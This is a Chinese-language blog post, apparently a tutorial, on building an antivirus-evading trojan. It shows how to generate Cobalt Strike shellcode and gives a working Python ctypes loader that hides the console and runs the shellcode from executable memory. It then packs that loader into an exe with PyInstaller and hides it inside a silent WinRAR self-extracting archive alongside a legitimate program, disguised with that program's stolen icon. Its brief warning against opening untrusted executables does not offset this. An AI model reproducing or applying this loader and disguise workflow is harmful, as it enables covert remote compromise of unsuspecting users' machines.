前些天看文章学到的,分享给大家! 还有大家平时下载东西一定要到官方网站下载,不要随意打开别人发你的exe或其他可执行文件!

一、制作一个免杀马:

我们直接使用cs或者msfvenom生成payload杀软肯定会直接杀,所以我们可以利用这俩个工具生成一段shellcode.然后自己写一个加载器,最后再利用该语言的特性将其编译成exe.

这里我以python为例:

1、利用cs生成shellcode:

(1) 首先建立一个监听器:

Cobalt Strike–>Listeners

出现下图画面:

图片

然后点击Add添加,端口和名字自己写一个,注意端口不要被占用

(2) 生成payload:

图片

然后出现payload生成类型以及监听器选择:

图片

这里我们用python,如果目标机器是64位的可以勾选Use x64 payload,32位的默认即可(64位系统能兼容大部分32位的软件,所以64位的机器也可以不使用x64 payload)

(3) 然后点击Generate,后会生成一个py脚本,内容如下:

图片

2、在我们的攻击机上安装好Pyinstaller

3、利用python的Pyinstaller将以下脚本打包成exe:

(1) 将我们生成的shellcode替换掉即可(也就是将buf = “xxx”替换成刚刚生成的那串)

from ctypes import *
import ctypes
# length: 891 bytes
buf = "xxx"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
   buf = c_char_p(buffer)
   size = len(buffer)
   addr = libc.valloc(size)
   addr = c_void_p(addr)
   if 0 == addr: 
       raise Exception("Failed to allocate memory")
   memmove(addr, buf, size)
   if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
       raise Exception("Failed to set protection on buffer")
   return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()   
if whnd != 0:
      if 666==666:
             ctypes.windll.user32.ShowWindow(whnd, 0)   
             ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                       ctypes.c_int(len(shellcode)),
                                         ctypes.c_int(0x3000),
                                         ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                    buf,
                                    ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

(2) 进入到pyinstaller所在目录(默认安装后在Scripts目录下),然后运行:

图片

参数解释:

-F:输出为单个文件(会把所有的第三方依赖、资源和代码均被打包进该exe内)
-i:指定图标
-w:隐藏控制台
pyinstaller参数可参考:
https://blog.csdn.net/weixin_39000819/article/details/80942423

运行后等待结束会在dist目录下生成一个exe文件(就是我们打包好的免杀马):

图片

生成的exe:

图片

世界杀毒网检测效果:

图片

4、运行效果:

图片

运行后什么也不显示,但是我们这边已经成功上线了.可以看到是相当隐蔽的.

这个免杀是参考以下文章的:

https://www.baikesec.com/webstudy/penetration/22.html

二、将我们的免杀马和其他程序结合起来:

再结合下winrar的自解压会更不容易让人发现:

1、将我们刚刚生成的马和我们想要伪装的正常exe一起添加到压缩包中

(我这里用winrar举例,其他压缩软件也有此功能):

图片

选择创建自解压格式

2、然后选择 “高级” 下的 “自解压选项”,

图片

3、相关的设置:

(1) 设置自解压的路径(最好选择一个任意用户都有权限访问的目录):

图片

我这里就用:C:\Windows\Temp

(2) 设置木马正常程序的运行先后顺序:

图片

因为解压后我们的马会保存到我们设置的目录,所以这里的路径要对应.

(3) 设置是否显示自解压提示:

图片

选择全部隐藏后,运行该自解压文件后会不显示自解压提示直接解压,比较隐蔽!

(4) 设置更新:

图片

这里设置主要是为了防止目标路径下存在相同文件.

(5) 设置生成自解压文件的图标:

图片

然后点击确定后即可生成.

(6) 生成的自解压文件与正常的程序:

图片

运行后正常运行我们打包的那个正常程序:

图片

等待我们关闭掉这个程序后,我们的木马会运行:

图片

三、图标获取:

图标的获取可以通过Resource Hacker这个软件获取.

具体操作:

  1. 使用该软件打开我们正常的程序

  2. 然后找到Icon Group就是该程序的图标,然后右击保存即可,如下图:

图片